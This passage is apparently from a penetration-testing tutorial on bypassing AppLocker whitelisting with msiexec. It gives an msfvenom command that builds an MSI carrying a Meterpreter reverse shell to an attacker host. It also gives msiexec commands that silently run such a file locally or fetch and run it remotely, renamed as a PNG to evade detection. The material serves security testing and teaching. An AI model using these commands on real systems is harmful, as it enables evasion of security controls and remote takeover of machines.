Application Whitelisting Bypass
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MSIEXEC is a Microsoft utility which can be used to install applications. If MSI files are not blocked by AppLocker then it can allow an attacker to bypass AppLocker executable rules.
Metasploit MSFVenom can be used to generate MSI files that contain a Meterpreter payload:
msfvenon -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=4444 -f msi > pentestlab.msi
Execution of the MSI file on the target system will return a Meterpreter session:
Msiexec utility has the ability to execute MSI files either locally or remotely. Additionally MSI files that have been renamed to PNG to avoid detection can be also executed normally and have the same results.
msiexec /quiet /i cmd.msi
msiexec /q /i http://192.168.100.3/tmp/cmd.png
If command prompt is locked then MSIEXEC can be executed from Windows Run:
